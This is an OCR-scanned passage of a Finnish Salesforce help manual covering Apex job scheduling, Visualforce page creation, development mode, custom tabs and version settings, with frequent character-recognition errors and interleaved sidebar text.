Apexin ajoittaminen

Kayta Apex-ajoitustoimintoa, jos sinulla on tiettyja Apex-luokkia, joita haluat kayttaa saannollisesti,
tai suorittaaksesi Apex-eratyon Salesforce-kdyttoliittymalld.
Ajoitustoiminto suoritetaan jarjestelmand — kaikki luokat suoritetaan riippumatta siitd, onko Kaytettdvissa Salesforce
kayttdjalla oikeutta suorittaa luokkaa. Classicissa ja Lightning
Experiencessa
@ Tarkedd: Salesforce ajoittaa luokan suorituksen tiettyyn hetkeen. Todellinen suoritus saattaa
viivdstyd palvelun kdytettdvyyden mukaan. Kayteftdvissa: Enterprise
o o o i Edition-, Performance
Voit ajoittaa tyot kdyttdmalla Apex-ajoittajaa seuraavasti: Edition-, Unlimited Edition-.
1. Ota kdyttoon Ajoitettava -littymaApex-luokassa, joka iimentda suoritettavaa luokkaa. Developer Edition- ja
Database.com Edition

2. Kirjoita Maaritykset-valikon Pikahaku-kenttddn Apex-1uokat, valitse Apex-luokat ja versioissa
napsauta Ajoita Apex.

3. Napsauta ajoitettavan luokan nimea.

4. Maarita, kuinka usein Apex-luokka suoritetaan.
e Viikottain— Madrita yksi tai useampi viikonpadiva, jolloin tyd suoritetaan (kuten maanantai ja keskiviikko).

e Kuukausittain— Maaritd joko pdivamadara tai pdivd, jolloin tyd suoritetaan (kuten joka kuukauden toinen lauantai).

5. M3aritd Apex-luokan ajoituksen alkamis- ja padttymispdivamaarat. Jos mdaritdt yksittdisen pdivan, tyd suoritetaan vain kerran..
6. Maaritd haluamasi alkamisaika. Tyon tarkka aloitusaika riippuu palvelun kdytettdvyydestd.

7. Napsauta Tallenna.

@ Nofte: Sinulla voi olla vain 100 aktiivista tai ajoitettua tyotd kerralla.
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Voit myds kutsua System. scheduleBatch-metodia ajoittaaksesi erdtyon kertaluontoisen suorituksen myéhemmaksi ajankohdaksi.
Lisatietoja on Apex Developer Guide -oppaan osiossa "Using the System. scheduleBatch Method".

Kun olet ajoittanut Apex-tydn, voit tarkkailla tydn edistymistd Kaikki ajoitetut tyét -sivulla.

Kun ty6 on valmis, voit nahdd tydn tiedot (kuten onnistuiko vai epdonnistuiko se, kuinka kauan kasittely kesti, kdsiteltyjen tietueiden
lukumaard, jne.) Apex-tyot -sivulla.

Yleiset kysymykset

Yleisimpid kysymyksia Apexsovelluksesta

e Miten Apex-luokat ja kdynnistimet eroavat toisistaan? EDITION-VERSIOT

e Voinko soittaa ulkoiseen verkkopalveluun Apex-sovelluksella?
o Mitka ovat tuetut WSDL-mallityypit Apex-palvelinkutsuille? Kdytettdvissd Salesforce
Classicissa ja Lightning

. . . Experiencessa
Voinko soittaa ulkoiseen verkkopalveluun Apex-sovelluksella?

Kull5. Voit k ckopalvelui imintoia Apexilla. Si | Apex-luokat si Kdytetttvissa: Enterprise
ylld. Voit kutsua verkkopalvelujen toimintoja Apexilla. Sinun on ensin luotava Apex-luokat sivua Edition-, Performance

kdyttaen Apex-luokka ulkoisen verkkopalvelun WSDL-asiakirjasta, ennen kuin voit kutsua sen Edition- Unlimited Edition-
menetelmia. Developer Edition- ja
Database.com Edition

KATSO MYOS: -versioissa

Yleisimpia kysymyksia Apexsovelluksesta

Mitka ovat tuetut WSDL-mallityypit Apex-palvelinkutsuille?

Palvelikutsuissa Apex tukee vain asiakirjan literaalisen pdattdmisen WSDL-tyylid, uhdessa primitiivisten ja sisdisten tietotyyppien kanssa.
Suosittelemme, ettd varmistat WSDL-asiakirjan ja varmistat, ettd se sisaltad tuettuja malllityyppejd. Jos tyyppi ei ole Apex:in tukema,
palvelinkutsu Web-palvelukdyttdon voi johtaa virheeseen, joka ilmenee palvelinkutsun vastauksessa, "Palvelukutsun vastusta ei voi
jasentad. Apex-tyyppid ei loydy elementtikohteesta".

KATSO MYOS:

Yleisimpid kysymyksid Apexsovelluksesta

Miten Apex-luokat ja kéynnistimet eroavat toisistaan?

Apex-luokka on malli tai suunnitelma, josta Apex-objektit luodaan. Luokat koostuvat muista luokista, kdyttdjan maarittdmistd metodeista,
muuttujista, poikkeustyypeistd ja staattisesta aloituskoodista Kaynnistin on Apex-koodi, joka suoritetaan ennen tiettyjen DML-tapahtumien
suorittamista tai tapahtumien suorittamisen jalkeen. Kaynnistin voidaan suorittaa esimerkiksi ennen kuin objektitietueet siirretdan
tietokantaan tai tietueiden poistamisen jalkeen. Kaynnistimeen liittyy vakio- tai mukautettu objekti ja se voi kutsua Apex-luokkien

menetelmid.

KATSO MYOS:

Yleisimpid kysymyksid Apexsovelluksesta
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Visualforce
Visualforce on ohjelmointikehys, joka sallii kehittdjien laatia hienostuneita ja mukautettuja EDITION-VERSIOT
kayttoliittymid, joita voidaan isanndida Force.com-sovellusalustassa. Visualforce-ohjelmointikehys

sisdltad tunnisteisiin perustuvan ohjelmointikielen, joka muistuttaa HTML-kieltd, seka joukon Kayfettavissd: Salesforce
palvelimen puoleisia "vakio-ohjaimia", jotka tekevat yksinkertaisten tietokantaoperaatioiden, kuten Classicissa ja Lightning
kyselyiden ja tallennusten, tekemisestd erittdin helppoa. Experiencessa

Visualforce-sovelluksella voit: Kaytettivissa Contact

e |uoda mukautettuja kayttoliittymid, joissa voidaan hyddyntda Salesforce-vakiotyylejd vaivattomasti Manager-, Group-,
Professional-, Enterprise-,
Performance-, Unlimited-
jo Developer-versioissa

e |uoda mukautettuja kayttoliittymid, jotka korvaavat Salesforce-vakiotyylit tdysin
® muodostaa ohjattuja toimintoja ja muita siirtymiskaavoja, jotka kayttavat tietokohtaisia sdantoja
optimaalista, tehokasta sovellusvuorovaikutusta varten.

Visualforce-sovelluksessa on monipuolinen komponenttikirjasto, jolla voit muodostaa sivuja nopeasti

ilman, ettd sinun tarvitsee luoda moniakaan toimintoja itse. Visualforce-merkintakielessa kukin tunniste vastaa karkeasti tai tarkasti
hahmoteltua komponenttia, kuten sivun osaa, liittyvad luetteloa tai kenttad. Komponentteja voidaan ohjata samalla logiikalla, jota
kdytetadn Salesforce-vakiosivuilla, tai kehittdjdt voivat liittdd oman logiikkansa mukautettuun ohjaimeen tai Apex-kirjoitettuun
ohjainjatkeeseen.

@ Nofe: Tdma julkaisu sisaltdd Lightning Experiencen Visualforcen beta-version, joka on tuotantolaatua, mutta jolla on tunnettuja
rajoituksia.

KATSO MYOS:
Visualforce-sivujen madrittdminen
Visualforce-komponentit

https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/

Lightning Experiencen Visualforce (beta)

Tama julkaisu sisdltaa Lightning Experiencen Visualforcen beta-version, joka on tuotantolaatua, EDITION-VERSIOT

mutta jolla on tunnettuja rajoituksia.

Visualforce on edelleen yleisesti saatavilla. Vain Visualforce-sivujen kayttd Lightning Experiencessa Kaytettavissa: Salesforce

on télla hetkelld beta-vaiheessa. Classicissa ja Lightning
Experiencessa

Kdaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa
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Visualforce-sivut

Visualforce-sivut ovat korkean tason silio Visualforcen avulla laadituille mukautetuille sovelluksille.
Luo Visualforce-sivuja lisédmalld niihin Visualforce-komponentteja (vakiomuotoisia tai mukautettuja),
staattista HTML-koodia, CSS-tyylid ja JavaScriptia.

Jokaisella Visualforce-sivulla on oma yksiléllinen ja pysyva URL-osoitteensa. Voit linkittaa
Visualforce-sivuja yhteen luodaksesi sovellukselle monimutkaisempia ominaisuuksia.

Visualforce-sivujen madrittminen
Voit luoda Visualforce-sivuja joko Visualforce-kehitystilassa tai luomalla sivut maarityksissa.
Sivun luominen Visualforce-kehitystilan "pikakorjaus"-tyokalulla:

1. Syotd URL-osoite selaimeen seuraavassa muodossa:
https://omaSalesforcelnstanssi/apex/uudenSivunNimi,jossa
omaSalesforcelInstanssi on Salesforce-instanssisi isantanimi (esimerkiksi
na3.salesforce.com)ja uudenSivunNimi-arvo,jonkahaluatantaa sivumaarityksesi
Nimi-kenttddn.

Jos haluat luoda esimerkiksi sivun nimeltd "HeiMaailma" ja Salesforce-organisaatiosi kayttda
na3.salesforce. com-esiintymad, kirjoita osoitteeksi
https://na3.salesforce.com/apex/HeiMaailma.

@ Nofe: Sivujen nimissa voi olla korkeintaan 40 merkkia.

2. Koska sivua ei ole vield olemassa, sinut ohjataan rajapintasivulle, jolla voit luoda uuden sivun.
Luo uusi sivu valitsemalla Luo sivu uudensivunnimi.Sivun Nimi ja Otsikko
madritetddn URL-osoitteeseen madrittdamdsi uudensivunnimi-arvon perusteella.

Sivujen luominen madrityksissa:

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Visualforce-sivut javalitse
Visualforce-sivut.

2. Valitse Uusi.

3. Kirjoita Nimi-tekstiruutuun teksti, joka ndkyy URL-osoitteessa sivun nimend. Tdma nimi voi

sisaltda vain alaviivoja ja aakkosnumeerisia merkkejd, ja sen on oltava yksilollinen organisaatiossa.

EDITION-VERSIOT

Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kdaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

EDITION-VERSIOT

Kaytettdvissd Salesforce
Classicissa ja Lightning
Experiencessa

Kdaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

KAYTTJAOIKEUDET

Visualforce-sivujen

versioasetusten luominen,

muokkaaminen ja

madrittdminen:

e Sovelluksen
mukautusoikeus

Sen tdytyy alkaa kirjaimella, se ei saa sisdltad vdleja eikd se saa loppua alaviivaan eikd sisaltda kahta perakkdista alaviivaa.

4. Kirjoita Otsikko-tekstiruutuun teksti, josta sivun voi tunnistaa maaritystyokaluissa, kuten mukautettuja valilehtid maaritettaessa

tai vakiopainikkeita korvattaessa.

5. Kirjoita Nimi-tekstiruutuun teksti, jota tulisi kdyttda sivun tunnistamiseen APl:ssa. Tdama nimi voi sisaltad vain alaviivoja ja
aakkosnumeerisia merkkejd, ja sen on oltava yksilollinen organisaatiossa. Sen taytyy alkaa kirjaimella, se ei saa sisdltad valilyonteja

eika se saa loppua alaviivaan eikd sisaltda kahta perdkkaista alaviivaa.
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6.
7.

10.

11.

Maaritd Kuvaus-tekstiruutuun sivun valinnainen kuvaus.

Valitse Kaytettiavissid olevat Salesforce-mobiilisovellukset ottaaksesi Visualforce-vililehteen liittyvat
Visualforce-sivut kdyttoon Salesforce1-sovelluksessa. Tamad valintaruutu on kdytettavissa sivuille, jotka on madritetty APl-versioon
27.0 tai uudempaan.

@ Nofte: Visualforce-sivulla korvattuja vakio-objektien valilehtid ei tueta Salesforce1-sovelluksessa, vaikka valitsisit
Kaytettidvissid Salesforce-mobiilisovelluksissa -vaihtoehdonsivulle. Objektin oletusarvoinen Salesforcel
-sivu ndytetdan Visualforce -sivun sijaan.

Talla vaihtoehdolla ei ole vaikutusta Salesforce Classic Mobile -mobiilisovelluksen Visualforce-tukeen. Kaytd sen sijaan
Visualforce-vdlilehti-madrityssivuilla olevaa Salesforce Classic Mobile -valmis -valintaruutua.

Valitse Vaadi CSRF-suojausta GET-pyynnaille ottaaksesi Cross Site Request Forgery (CSRF) -suojauksen kayttéon sivun
GET-pyynnaille. Kun tdma vaihtoehto on valittuna, se suojaa CSRF-hyokkdyksiltd muokkaamalla sivua sisdltdmaan
CSRF-vahvistustunnisteen, joka on URL-parametreissa oleva satunnainen merkkijono. Visualforce tarkastaa kyseisen merkkijonon
GET-pyyntojen yhteydessa eika lataa sivua, ellei arvo vastaa odotettua arvoa.

Valitse tdmd ruutu, jos sivu suorittaa DML-toiminnon, kun se ladataan ensimmaista kertaa. Kun tdmé vaihtoehto on valittuna, kaikki
tahdn sivuun osoittavat linkit tarvitsevat URL-kyselymerkkijonon parametreihin lisatyn CSRF-tunnisteen. Tama valintaruutu on
kaytettdvissa sivuille, jotka on madritetty APl-versioon 28.0 tai uudempaan.

Note: Summer 13 -julkaisussa ainoa tapa lisatd URL-osoitteeseen kdypa CSRF-tunniste on korvata objektin vakiomuotoinen
Poista-linkki Visualforce-sivulla. Poista-linkki siséltdd automaattisesti vaaditun tunnisteen. Ald valitse tatd ruutua millekdan
sivulle, joka ei korvaa objektin vakiomuotoista Poista-linkkia.

Kirjoita Visual force-merkint&-tekstiruutuun sivun Visualforce-merkinta. Yhdelld sivulla voi olla enintddn 1 Mt tekstid, eli
noin 1 000 000 merkkia.

Napsauta Version asetukset madrittadksesi télle sivulle kdytettavan Visualforce- ja APl-version. Voit maarittda versiot kaikille
organisaatiosi asennetuille hallittaville paketeille.

Voit tallentaa muutokset ja palata Visualforce-lisdtietonayttoon valitsemalla Tallenna tai tallentaa muutokset ja jatkaa sivun
muokkaamista valitsemalla Pikatallennus. Visualforce-merkinnan on oltava kelvollinen, ennen kuin sivun voi tallentaa.

@ Nofte: Vaikka Visualforce-merkintda voikin muokata tasta mdaritysten osasta, muokkausten tulosten tarkasteleminen edellyttda
siirtymistd sivun URL-osoitteeseen. Tdstd syysta useimmat sovelluskehittdjdt suosivat kehitystilaa, jossa he voivat tarkastella ja
muokata sivuja yhdessd ikkunassa.

Kun sivu on luotu, voit avata sen napsauttamalla Esikatselu. Voit tarkastella sitd myds syottamalld manuaalisesti seuraavassa muodossa:
http://omaSalesforceInstanssi/apex/uudenSivunNimi,j0ssa omaSalesforceInstanssi On
Salesforce-instanssisiisantanimi (esimerkiksi na3. salesforce.com)ja uudenSivunNimi sivumaarityksesi Nimi-kentdnarvo.

KATSO MYOS:

Kehitystilan ottaminen kayttoon
Visualforce-sivujen tarkasteleminen ja muokkaaminen

Visualforce-vélilehtien luominen
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Kehitystilan ottaminen kayttdon

Vaikka voitkin tarkastella ja muokata Visualforce-sivumdarityksia Madritykset-valikon
Visualforce-sivut-sivulta, Visualforce-kehitystilan kayttéonottaminen on paras tapa laatia
Visualforce-sivuja. Kehitystilassa kdytdssasi ovat seuraavat ominaisuudet:

Kaikilla Visualforce-sivuilla oleva erityinen kehitysalatunniste, joka sisaltaa sivun nakymatilan,
asiaan liittyvan ohjaimen, linkin komponentin viitedokumentaatioon ja sivumerkintojen
muokkausohjelman, johon sisaltyy korostustoiminto, etsi ja korvaa -toiminto ja automaattinen
ehdotustoiminto komponenttien tunnisteiden ja madritteiden nimia varten.

Uusien Visualforce-sivujen nappara maaritys kirjoittamalla yksiléllinen URL-osoite.
Virheilmoitukset, jotka sisaltavat yksityiskohtaisempia pinojaljityksia kuin mitd vakiokayttajat
saavat.

Visualforce-kehitystilan ottaminen kayttoon:

1.

Kirjoita henkilokohtaisten asetustesi Pikahaku-kenttddn Kdyttdjdn lisdtiedot ja
valitse Kayttdjan lisatiedot. Eiko tuloksia 16ydy? Kirjoita Pikahaku-kenttdan
HenkilSkohtaiset javalitse Henkilokohtaiset.

Napsauta Muokkaa.
Valitse Kehitystila-valintaruutu.

Voit myos valita Naytd ndkymatila kehitystilassa -valintaruudun ottaaksesi
Nakymatila-valilehden kdyttoon kehitysalatunnisteessa. Tamad valilehti soveltuu Visualforce-sivujen
toimintojen seuraamiseen.

Valitse Tallenna.
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Visualforce-sivujen tarkasteleminen ja muokkaaminen

Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Visualforce-sivut, valitse
Visualforce-sivut ja napsauta Visualforce-sivun nimed tarkastellaksesi sen lisatietoja, kuten
luontiajankohtaa, edellisen muokkauksen ajankohtaa ja sivuun liittyvid Visualforce-merkint6ja.

Lisdtietosivulla voit tehdd mitd tahansa seuraavista:

e Muokkaa olemassa olevia sivumerkintoja valitsemalla Muokkaa.

e Poista sivu valitsemalla Poista.

® Luo kopio sivusta valitsemalla Kloonaa. Sinun on maaritettava uusi nimi uudelle sivulle.

e Jos haluat tarkastella luetteloa kaikista viittauksista tahan sivuun organisaatiossa, valitse Missa
tata kaytetaan?.

e Valitsemalla Nayta riippuvuudet voit tarkastella kohteita, kuten kenttid, objekteja ja muita
luokkia, joiden on oltava olemassa, jotta tdma luokka on kelvollinen.

e Napsauta Esikatselu avataksesi sivun uudessa ikkunassa.

@ Nofte: Jos Visualforce-sivu sisaltyy asennettuun hallittavaan pakettiin, voit vain tarkastella
sivua. Et voi muokata, poistaa tai kloonata sita.

Jos Visualforce-sivu sisdltyy asennettuun hallittavaan pakettiin, Asennettu paketti -kenttd
osoittaa paketin nimen.Kenttd Kaytettivissa paketin versiossa ndyttdd pakettien
versioiden valikoiman, joissa Visualforce-sivu on kaytettavissa. Ensimmainen version numero
valikoimassa on ensimmainen asennetun paketin versio, joka sisaltda Visualforce-sivun.

Visualforce-sivujen tarkasteleminen ja muokkaaminen kehitystilassa

kehitystila on kayt6ssd, voit tarkastella ja muokata sivun sisdltoa siirtymalld sivun URL-osoitteeseen.
Jos sivun nimi on esimerkiksi HeiMaai 1ma ja Salesforce-esiintymdaon na3.salesforce.com,
kirjoita https://na3.salesforce.com/apex/HeiMaailma selaimesiosoitepalkkiin.

Kun kehitystila on otettu kayttdon, kaikilla Visualforce-sivuilla ndytetddn kehitystila-alatunniste
selaimen alaosassa:
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Visualforce-merkintojen

kloonaaminen,

muokkaaminen tai

poistaminen:

e Sovelluksen
mukautusoikeus

Mukautettujen

Visualforce-ohjaimien

muokkaaminen

e "Apex-sovellusten
luominen"

e Avaa sivueditori napsauttamalla valilehted, jolla on sivun nimi, jos haluat tarkastella ja muokata asiaan liittyvad Visualforce-merkintda

palaamatta Madritykset-alueelle. Muutokset ndytetdan heti, kun tallennat sivun.,

e Jos sivu kdyttda mukautettua ohjainta, ohjainluokan nimi on kdytettavissa valilehtena. Napsauta valilehted muokataksesi siihen

liittyvdad Apex-luokkaa.

e Jossivu kdyttda ohjainlaajennuksia, laajennusten nimet ndytetdan valilehtind. Valilehden napsauttaminen sallii sinun muokata siihen

liittyvda Apex-luokkaa.

e Jos Nakymatila-valilehti on otettu kdyttodn Madrityksissa, se ndyttad tietoja Visualforce-sivun nakymatilaan vaikuttavista kohteista.

e Tallenna muutokset ja pdivita sivun sisaltd valitsemalla Tallenna (suoraan muokkausruudun paalld).

e Voit tarkastella kaikkien tuettujen Visualforce-komponenttien oppaita valitsemalla kohdan Komponenttiviittaus.

e Napsauta Missa tata kdytetaan? tarkastellaksesi luetteloa kaikista tdhdn sivuun viittaavista Salesforce-kohteista, kuten mukautetuista

vdlilehdistd, ohjaimista ja muista sivuista.

® Napsauta Pienennd-painiketta ([Z]) pienentdaksesi kehitystilan alapaneelin. Napsauta Laajenna-painiketta ([&]) tuodaksesi sen

takaisin esiin.

Napsauta Poista kehitystila kdytosta -painiketta (Q) poistaaksesi kehitystilan kokonaan kaytdsta. Kehitystila on poissa kaytostd,

kunnes otat sen uudelleen kdyttédn henkilokohtaisten asetuksiesi henkilokohtaisten tietojesi sivulta.
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Visualforce-sivujen hallinta

Kun olet luonut Visualforce-sivuja, voit mukauttaa, muokata ja poistaa niitd. Kirjoita
Madritykset-valikon Pikahaku-kenttddn Visualforce-sivut javalitse Visualforce-sivut
avataksesi Sivut-luettelosivun, jossa on luettelo organisaatiollesi mdaritetyista Visualforce-sivuista.
Sivut-luettelosivulla voit tehda seuraavat toimet:

e Valitse Uusi, jos haluat maarittaa uuden Visualforce-sivun.

e Napsauta sivun nimed, jos haluat tuoda yksityiskohtaisia sivua koskevia tietoja ndkyviin, mukaan
lukien sen otsikko ja Visualforce-merkinnét.

e Napsauta sivun nimen vieresta Muokkaa, jos haluat muokata sivun nime, otsikkoa tai
Visualforce-merkintojd.

@ Note: Kuvake -+, osoittaa, ettd Visualforce-sivu on asennetussa hallittavassa paketissa.
Et voi muokata tai poistaa hallittavan paketin Visualforce-sivua.

e Valitse Poista, jos haluat poistaa sivun.
e Voit hallita sivun turvallisuutta valitsemalla Suojaus.

e Napsauta Esikatselu-painiketta ([& ) avataksesi sivun uudessa ikkunassa.

@ Note: Nimitilan etuliite on liitetty Apex-luokkiin ja -kdynnistimiin, Visualforce-komponentteihin
ja -sivuihin, tuotemerkkimalleihin, kansioihin, s-control-objekteihin, staattisiin resursseihin,
verkkolinkkeihin ja mukautettuihin raporttityyppeihin, mikali ne sisaltyvat hallittavaan pakettiin.
Jos sinulla ei ole sovellusten mukautusoikeutta, nimitilan etuliitekenttda ei ndy
tuotemerkkimalleissa, kansioissa eikd mukautetuissa raporttityypeissa.

Visualforce-sivujen yhdist@miskentdt

Yhdistamiskenttd on kenttd, jonka voit asettaa sahkdpostimalliin, yhdistamismalliin, mukautettuun
linkkiin tai kaavaan liittadksesi arvoja tietueesta.

Visualforce-sivut kayttdvat samaa lausekekieltd kuin kaavat, eli kaikki sulkeiden {! } sisdlld oleva
teksti kdsitelldadn lausekkeena, joka voi hakea arvoja kontekstiin liittyvistd tietueista. Voit esimerkiksi
ndyttad nykyisen kayttdjan etunimen lisédmalld { ! SUser.FirstName }-yhdistamiskentan
sivulle.

<apex:page>
Hello {!$User.FirstName}!
s</apex:page>

Jos kayttajan nimi on Joni, han nakee sivulla tekstin Hei, Joni!.
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Voit myos kayttda yhdistamiskenttid tai muita funktioita mukauttaaksesi objektitason ohjeiden sisaltoa.

KATSO MYOS:

Visualforce-sivujen madrittdminen

Visualforce-vdlilehtien luominen

Laadi Visualforce-vélilehtid, jotta kdyttdjat voivat kdyttda Visualforce-sivuja Salesforcesta.

1.

ok W

Kirjoita Maaritykset-valikon Pikahaku-kenttddn v&lilehdet ja valitse Valilehdet.
Valitse Visualforce-vdlilehdet-luettelosta Uusi.

Valitse mukautetussa valilehdessa naytettava Visualforce-sivu.

Kirjoita vdlilehden otsikko.

Tuo vélilehden tyylin valitsin nayttddn napsauttamalla valilehden tyyli -kohdan
hakukuvaketta.

Jos vdlilehden tyyli on jo kdytdssé, valilehden tyylin nimen vieressa on hakasulkeissa ([]) oleva
numero. Voit tarkastella samaa tyylid kayttavia valilehtid tuomalla hiiren osoittimen tyylin nimen
padlle. Voit suodattaa luetteloa valitsemalla Piilota muissa vdlilehdissa
kaytossa olevat tyylit.

Valitse mukautetun vdlilehden varimalli ja kuvake napsauttamalla vdlilehden tyylia.

Voit my®s napsauttaa Valilehden tyylin valitsin -valintaikkunassa Luo oma tyyli luodaksesi
vdlilehdelle mukautetun tyylin, jos organisaatiollasi on Asiakirjat-vdlilehden kdyttdoikeus. Oman
vdlilehden tyylin luominen:

a. Avaa vérien valintaikkuna napsauttamalla Vari-hakukuvaketta ja valitse véri napsauttamalla
sitd.

b. Napsauta Lisaa kuva, valitse asiakirjakansio ja valitse kaytettdvd kuva.
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Voit myds etsid asiakirjan tiedostonimen, joka sisaltda haluamasi hakutermin, valitsemalla Hae asiakirjoista, kirjoittamalla

haettavan termin ja valitsemalla Siirry.

@ Note: Valintaikkunassa ndkyy vain asiakirjakansioiden tiedostot, jotka ovat kooltaan alle 20 kilotavua ja joiden Ulkoisesti
kdytettdvissa -valintaruutu on valittuna asiakirjan ominaisuusasetuksissa. Jos kuvakkeessa kaytetty asiakirja poistetaan

my6hemmin, Salesforce korvaa kuvakkeen monivériselld oletuskuvakkeella ( C ).

c. Valitse tiedosto ja napsauta OK. Nayttéon tulee ohjattu Uusi mukautettu valilehti -toiminto.

Valitse halutessasi Salesforce Classic Mobile -valmis -valintaruutu osoittaaksesi, ettd Visualforce-sivu nakyy ja

toimii oikein Salesforce Classic Mobile -sovelluksessa.

Valintaruudun valitseminen lisda valilehden Salesforce Classic Mobile -kokoonpanoillesi kdytettdvissd olevien vdlilehtien luetteloon.
Ennen kuin mobilisoit Visualforce-valilehden, tutustu Salesforce Classic Mobile -valilehtiin liittyviin huomioitaviin asioihin varmistaaksesi,

ettd valilehtiesi Visualforce-sivut ovat yhteensopivia mobiiliselainten kanssa.

@ Note: Ssalesforce Classic Mobile -valmis -valintaruutu on nakyvissa vain, jos Salesforce Classic Mobile on

kdytdssd organisaatiossasi.

Asetus ei vaikuta Visualforce valilehtien nakyvyyteenSalesforce1 -sovelluksessa.. Jos haluat ottaa kdyttéon uuden
Visualforce-vélilehden Salesforce1-sovelluksessa, katso lisétietoja kohdista Visualforce-sivujen ottaminen kayttoon

Salesforce1-mobiilisovelluksessa ja Visualforce-sivujen madrittdminen sivulla 64.
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8. Voit valita myds mukautetun linkin, jota kdytetdan latautumissivuna, kun kayttdjat avaavat valilehden. Latautumissivut eivét nay
Salesforce Classic Mobile -sovelluksessa. Valta latautumissivun kdyttod, jos aiot mobilisoida tdman valilehden.

9. Kirjoita vélilehden vapaaehtoinen kuvaus ja valitse Seuraava.
10. Valitse kayttajaprofiilit, joille annetaan uuden mukautetun valilehden kayttéoikeus.
11. Maarita uuteen valilehteen lisattdvat mukautetut sovellukset.

12. Valitse Liita valilehti kayttajille aiemmin maaritettyihin henkilokohtaisiin mukautuksiin, jos haluat lisdtd valilehden sellaisten
kdyttdjien mukautettuihin ndyttdasetuksiin, jotka ovat mukauttaneet omia ndyttdasetuksiaan.

13. Valitse Tallenna.

KATSO MYOS:

Visualforce-sivujen madrittdminen

Sieppaamattomat poikkeukset Visualforcessa
Jos jonkun muun kuin itsesi kehittdmalld Visualforce-sivulla tapahtuu virhe tai sieppaamaton poikkeus,

e Salesforcessa ndkyy lyhyt kuvaus ongelmasta.

e Sivun kirjoittanut kehittdja saa virheen kuvauksen sahkdpostiviesting, jossa on organisaatiosi tunnus ja oma kdyttdjatunnuksesi.
Raportissa ei ole muita kdyttdjatietoja.

Jos olet kehitystilassa ja jossain muussa kuin kyseisen sivun nimitilassa, nakyvissa on poikkeusta koskeva viesti, poikkeuksen tyyppi ja
ilmoitus kehittdjalle lahetetystd sahkdpostiviestista.

Jos olet sivun kehittdja ja samassa nimitilassa kuin kyseinen sivu mutta et kehitystilassa, ndkyvissa on poikkeusta koskeva viesti. Nakyvissa
saattaa olla my®os viesti, joka ilmoittaa kehittajalle Idhetetysta sahkopostiviestista. Jos olet kehitystilassa, nakyvissa on poikkeusta koskeva
viesti, poikkeuksen tyyppi ja Apex-pinojaljitys.

KATSO MYOS:

Koodin virheenkorjaus
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Visualforce-sivujen ja mukautettujen komponenttien versioasetusten hallinta

Jotta yhteensopivuutta aiempien versioiden kanssa voidaan parantaa, kaikki Visualforce-sivut ja
mukautetut komponentit tallennetaan madritetyn APl-version ja madritetyn Visualforce-version
versioasetuksilla. Jos Visualforce-sivu tai -komponentti viittaa asennettuihin hallittaviin paketteihin,
kunkin hallittavan paketin versioasetukset, joihin sivu tai komponentti viittaa, tallennetaan myds.
Talld varmistetaan, ettd kun Visualforce, APl ja hallittavien pakettien komponentit kehittyvat tulevissa
versioissa, Visualforce-sivut ja -komponentit pysyvdt yhd liitettynd versioon, joka toimii erityiselld,
tutuksi tulleella tavalla.

Pakettiversio on numero, jolla tunnistetaan pakettiin ladattujen komponenttien sarja. Version
numerolla on muoto majorNumber.minorNumber.patchNumber (esimerkiksi 2.1.3).
Suurempi ja pienempi numero kasvavat valittuun arvoon kunkin suuren julkistuksen aikana.
Korjausnumero luodaan ja pdivitetddn vain korjausversiolle. Julkaisijat voivat kdyttdd paketin
versioita hallittavien pakettien komponenttien kehittdmiseen julkistamalla seuraavan paketin version
rikkomatta nykyisten, pakettia kdyttavien asiakkaiden integraatiota.

Note: Paketin komponentit ja mukautetut Visualforce-komponentit ovat erillisia kdsitteitd.
Paketti koostuu monista elementeistd, kuten mukautetuista objekteista, Apex-luokista ja
-kdynnistimista sekd mukautetuista sivuista ja komponenteista.

Voit asettaa Salesforce API-ja Visualforce-version Visualforce-sivulle tai mukautetulle komponentille
seuraavasti:

1. Muokkaa Visualforce-sivua tai -komponenttia ja napsauta Versioasetukset.

@ Note: Voit muokata sivun tai mukautetun komponentin versioasetuksia Version asetukset
-vdlilehdestd vain, kun muokkaat sivua tai komponenttia Madritykset-valikosta.
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versioasetusten luominen,
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madrittminen:

e Sovelluksen
mukautusoikeus

2. Valitse SalesforceAPI:nversio. Tdama on myds Visualforce-versio, jota kdytetadn sivun tai komponentin kanssa.

3. Napsauta Tallenna.
Paketin versioasetusten maarittdminen Visualforce-sivulle tai mukautetulle komponentille:

1. Muokkaa Visualforce-sivua tai -komponenttia ja napsauta Versioasetukset.

2. Valitse Versio kullekin hallittavalle paketille, johon Visualforce-sivu tai -komponentti viittaa. Sivu tai komponentti kdyttaa tata
hallittavan paketin versiota, jos hallittavien pakettien uudempia versioita on asennettuna, ellet pdivita versioasetusta manuaalisesti.
Voit lisdtd asennetun hallittavan paketin asetusten luetteloon valitsemalla paketin kdytettavissad olevien pakettien luettelosta. Tama
luettelo ndkyy vain, jos sinulla on asennettuna hallittava paketti, joka ei jo liity sivuun tai komponenttiin.

3. Napsauta Tallenna.

Huomaa seuraavaa, kun kdytét paketin version asetuksia:

e Jos tallennat Visualforce-sivun tai mukautetun komponentin, joka viittaa sellaiseen hallittavaan pakettiin, jolla ei ole madritettya
hallittavan paketin versiota, sivu tai komponentti liitetddn oletusarvoisesti viimeksi asennetun hallittavan paketin versioon.

e Etvoi poistaa hallittavan paketin Visualforce-sivun tai -komponentin versioasetusta, jos sivu tai komponentti viittaa hallittavaan

pakettiin. Napsauta Nayta riippuvuudet [6ytadksesi, missa hallittavaan pakettiin viitataan.
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Selaimen suojausasetukset ja Visualforce

Jotkut Visualforce-sivut suoritetaan * . force . com-palvelimilta. Jos selaimesi luotettuihin
sivustoihin sisdltyy * . salesforce. com,sinun taytyy lisdtd myos * . force . com luetteloon.

Selaimestasi ja selaimen asetuksista riippuen saatat nahda seuraavanlaisen virheen joillakin sivuilla:

Selaimesi suojausasetukset estavat tata sivustoa nayttédmésta
osaa sisdllosta. Jos haluat nahdad tamdn sisalldn, sinun taytyy
muuttaa selaimesi suojausasetuksia sallimaan kolmannen osapuolen
